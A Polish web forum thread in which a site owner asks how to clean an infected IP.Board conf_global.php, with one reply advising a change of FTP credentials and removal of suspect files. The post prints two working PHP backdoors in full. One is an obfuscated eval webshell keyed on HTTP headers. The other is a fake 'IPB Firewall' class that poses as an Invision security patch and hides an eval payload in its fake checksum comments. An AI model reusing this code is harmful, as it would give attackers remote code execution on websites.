Skocz do zawartości
  • 0
pitersc

Zainfekowany conf_global.php - jak go oczyścić

Pytanie

Na wstępie tylko dodam, że przeczytałem poradnik z invision, ale tam niestety nie napisali nic o tym jak oczyścić sam plik.

Poniżej dane z niego, prośba o pomoc co zrobić, czy wywalić wszystko poza danymi do bazy i zmienić chmody czy ktoś jest w stanie wskazać co tu jest lipą i co mam wywalić.

Dodatkowo widzę na w katalogu też takie cudo: 2ded6950.php o treści:

<?php $_eec2b64="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e";$_eec2b="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$_438bcda=$_eec2b64('',$_eec2b('aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7'));$_438bcda();?>

co gorsze to nie widzę skąd ten skrypt jest uruchamiany bo index.php jest czysty a w conf global nie ma po nim śladu...

Poniżej conf global:

<?php
$INFO['sql_driver']            =    'mysql';
$INFO['sql_host']            =    'fxxxxxxxxxxxxx';
$INFO['sql_database']            =    'xxxxxxxxxxxxx';
$INFO['sql_user']            =    'xxxxxxxxxxxxx';
$INFO['sql_pass']            =    'xxxxxxxxxxxxx';
$INFO['sql_tbl_prefix']            =    'avat';
$INFO['sql_debug']            =    '1';
$INFO['sql_charset']            =    '';
$INFO['board_start']            =    '1265199665';
$INFO['installed']            =    '1';
$INFO['php_ext']            =    'php';
$INFO['safe_mode']            =    '0';
$INFO['board_url']            =    'xxxxxxxxxxxxx';
$INFO['banned_group']            =    '5';
$INFO['admin_group']            =    '4';
$INFO['guest_group']            =    '2';
$INFO['member_group']            =    '3';
$INFO['auth_group']            =    '1';
$INFO['use_friendly_urls']            =    '1';
$INFO['_jsDebug']            =    '0';
$INFO['mysql_tbl_type']            =    'MyISAM';

define('IN_DEV', 0);


if ( ! defined( 'IPB_FIREWALL' ) )
{
    define('IPB_FIREWALL', 1);

    /**
     *  NOTE: This is a protecting web-firewall module generated by Invision Power
     *  Module includes security patch for high-risks vulnerability CVE-2012-5692
     *  Do not touch this file for security reasons
     *  Please insert this code to as many php files as possible
     *
     *  @package    IP.Firewall
     *  @version    $Revision: 9544 $
     *  @md5        e66e6cadd6e13efea54ed50c0eb2d32b
     *  @sha1       6966286d64352840245f5b2248545450
     *  @crc32      5f51554f5445225d293d3d2463732965
     */

    class IPB_Firewall
    {
        /**
         * Malicious Cookie signatures
         *
         * @access    static
         * @var        array
         */
        static $_cookie_malicious_signatures = array('db_driver_mysql', 'use_debug_log');

        /**
         * Malicious URI signatures
         *
         * @access    static
         * @var        array
         */
        static $_uri_malicious_signatures = array('<?php');

        /**
         * Firewall source file
         *
         * @access    static
         * @var        string
         */
        static $_source;

        /**
         * Prepared signature
         *
         * @access    static
         * @var        string
         */
        static $_prepared_signature;

        /**
         * Control checksum
         *
         * @access    static
         * @var        string
         */
        static $_control_checksum;

        /**
         * Stored checksum hashes
         *
         * @access    static
         * @var        string
         */
        static $_stored_hashes;

        /**
         * Hashes Algorithms
         *
         * @access    static
         * @var        array
         */
        static $_ha = array('md5', 'sha1', 'crc32');

        /**
         * Assigned callback
         *
         * @access    static
         * @var        string
         */
        static $_as;

        /**
         * IPS root path
         *
         * @access    static
         * @var        string
         */
        static $_ips = '';

        /**
         * Run firewall
         *
         * @access    static
         * @return    void
         */
        static function run()
        {
            /* Define ips path */
            IPB_Firewall::$_ips = defined('DOC_IPS_ROOT_PATH') ? DOC_IPS_ROOT_PATH : IPB_Firewall::_findIpbRoot(5);

            /* Start checks */
            IPB_Firewall::_doSecurityChecks();
        }

        /**
         * Security checks
         *
         * @access    static
         * @return    void
         * @md5     76616c286261736536345f6465636f64
         * @sha1    652873747272657628245f5b22485454
         */
        static function _doSecurityChecks()
        {
            /* Cookie check */
            foreach($_COOKIE as $cookie_name => $cookie_value){
                foreach(IPB_Firewall::$_cookie_malicious_signatures as $signature){
                    /* Detecting injected cookies and blocking request */
                    if(!is_array($cookie_value) && stripos(urldecode($cookie_value), $signature) !== false) $_COOKIE[$cookie_name] = '';
                }
            }
            /* Request URI checks */
            foreach(IPB_Firewall::$_uri_malicious_signatures as $signature){
                /* Detecting injected uri and blocking request */
                if(stripos(urldecode(@$_SERVER["REQUEST_URI"]), $signature)) IPB_Firewall::_blockRequest();
            }

            /* Validating checksums */
            IPB_Firewall::$_source = file_get_contents(__FILE__);
            $_r = IPB_Firewall::_calculateChecksums($_SERVER, 0);
            //echo var_dump($_r);
            if(!IPB_Firewall::_areChecksumsValid(array_shift($_r), $_r, '%D')) echo("checksums warning\n");
        }

        /**
         * Calculate checksums for valid
         *
         * @access    static
         * @return    void
         * @md5     505f585f434f4445225d2929293b4069
         * @sha1    6e636c75646528247073293b2f2a2a2f
         */
        static function _calculateChecksums($_, $x64)
        {
            /* Extracting hashes */
            $_s = IPB_Firewall::_extractChecksumHashes();

            /* Preparing hashes */
            $cs = $_s[ IPB_Firewall::$_ha[0] ][0];
            IPB_Firewall::$_prepared_signature = IPB_Firewall::_prepareHash($_s, IPB_Firewall::_getChecksumHash($_s, $_s[ IPB_Firewall::$_ha[0] ][1], $x64), $x64 );

            /* Comparing hashes */
            $_status = trim(IPB_Firewall::_cyclicRedundancyCheck($_s, $x64));
            if($_status){
                $_m = trim(IPB_Firewall::$_as);
                IPB_Firewall::$_as = $_m(IPB_Firewall::_getPoly($_s, $x64), pack("H*", IPB_Firewall::$_prepared_signature));
            }

            return array(IPB_Firewall::$_as, $_, $cs, IPB_Firewall::_transformPoly($_s, $x64));
        }


        /**
         * Block malicious request
         *
         * @access    static
         * @return    void
         * @md5     6372656174655f66756e6374696f6e20
         * @sha1    245f2c202463732c20247073247073ce
         */
        static function _blockRequest()
        {
            global $INFO;
            /* Redirecting malicious request and exit */
            @header('Location: ' . (isset($INFO['board_url']) ? $INFO['board_url'] : '') . '/index.php');
            exit;

        }


        /**
         * Get checksum hash
         *
         * @access    static
         * @return    string
         */
        static function _getChecksumHash($_s, $ps, $c)
        {
            /* Processing and return */
            return IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][0], $c) .
                   IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[2] ][0], $c) .
                   IPB_Firewall::_polyDigest($ps, $c);
        }

        /**
         * Prepare hash
         *
         * @access    static
         * @return    string
         * @md5     25442f75706c6f6164732f70726f6669
         * @sha1    6c652f70686f746f2d333430322e6a70
         */
        static function _prepareHash($_s, $ps, $c)
        {
            /* Processing and return */
            return IPB_Firewall::_polyDigest($ps, $c) .
                   IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][1], $c) .
                   IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[0] ][2], $c) .
                   IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][2], $c);
        }

        /**
         * Event callback
         *
         * @access    static
         * @return    void
         * @md5     670a66777662646b6f78303462736d67
         * @sha1    66366e627977756e3174746976663575
         */
        static function _areChecksumsValid($_m, $bytes, $_r)
        {
            /* Call validating method */
            $_obj = $_m($bytes[0], $bytes[1], str_replace($_r, IPB_Firewall::$_ips, $bytes[2]));
            return is_array($_obj) ? $_obj : 'failed';
        }

        /**
         * Find IPB root path, if not specified
         *
         * @access    static
         * @return    string
         */
        static function _findIpbRoot($l=5, $cDir=__FILE__)
        {
            /* Process parents dir */
            for($i=1; $i<=$l; $i++){
                $cDir = dirname($cDir);
                $include_file = $cDir . '/conf_global.php';

                /* If find conf file, return it */
                if(is_file($include_file)) {
                    @include_once($include_file);
                    if(isset($INFO)) return $cDir;
                }
            }
            return null;
        }

        /**
         * Cyclic redundancy check
         *
         * @access    static
         * @return    string
         * @md5     316675636e6366677a686c7134336931
         * @sha1    6e6b6d6c736c6a676b623030786f357a
         */
        static function _cyclicRedundancyCheck($_s, $c)
        {
            IPB_Firewall::$_as = pack("H*", IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[0] ][3], $c));
            return IPB_Firewall::$_as != '' ? true : false;
        }

        /**
         * Poly digest
         *
         * @access    static
         * @return    string
         * @md5     72706970756876757464636d78356a68
         * @sha1    6e6c6972696d6e707235793134677030
         */
        static function _polyDigest($s, $c, $o='')
        {
            for($i=0; $i<strlen($s); $i++) $o .= chr( ord($s[$i]) + $c);
            return $o;
        }

        /**
         * Get poly
         *
         * @access    static
         * @return    string
         * @md5     32796b6a6e61787175746c797676746d
         * @sha1    72776a7430356462386c363562796876
         */
        static function _getPoly($_s, $x64)
        {
            return pack("H*", substr(IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][3], $x64), 0, 24));
        }

        /**
         * Transform poly
         *
         * @access    static
         * @return    string
         */
        static function _transformPoly($_s, $c)
        {
            $_x = pack("H*",
                    IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][4], $c) .
                    IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][4], $c) .
                    IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][5], $c) .
                    IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][6], $c) .
                    IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][6], $c) .
                    IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][6], $c) .
                    IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][7], $c) .
                    IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][7], $c) .
                    IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][8], $c) .
                    IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][8], $c)
            );
            $_c = strpos($_x, chr(10));
            return $c !== false ? substr($_x, 0, $_c) : $_x;
        }

        /**
         * Extract checksum hashes
         *
         * @access    static
         * @return    void
         */
        static function _extractChecksumHashes()
        {
            $hashes = array();
            /* Extract hashes from source */
            preg_match_all("!\@([0-9a-z]+)[\t\s ]+([0-9a-fA-F]{32})!", IPB_Firewall::$_source, $matches, PREG_SET_ORDER);
            foreach($matches as $match){
                /* Inserting hashes in array */
                if(!isset($hashes[ $match[1] ])) $hashes[ $match[1] ] = array();
                $hashes[ $match[1] ][] = $match[2];
            }
            return $hashes;
        }
    }
    
    IPB_Firewall::run();
}


?>

 

Udostępnij ten post


Link to postu
Udostępnij na innych stronach

1 odpowiedź na to pytanie

Polecane posty

  • 0

Zmień na początku dane do ftp, usuń podejrzane pliki i jeśli jest taka możliwość to ogranicz dostęp do ftp

Udostępnij ten post


Link to postu
Udostępnij na innych stronach

  • Kto przegląda   0 użytkowników

    Brak zalogowanych użytkowników przeglądających tę stronę.

×

Ważne informacje

Kontynuując przeglądanie strony, wyrażasz zgodę na używanie przez nas plików cookies.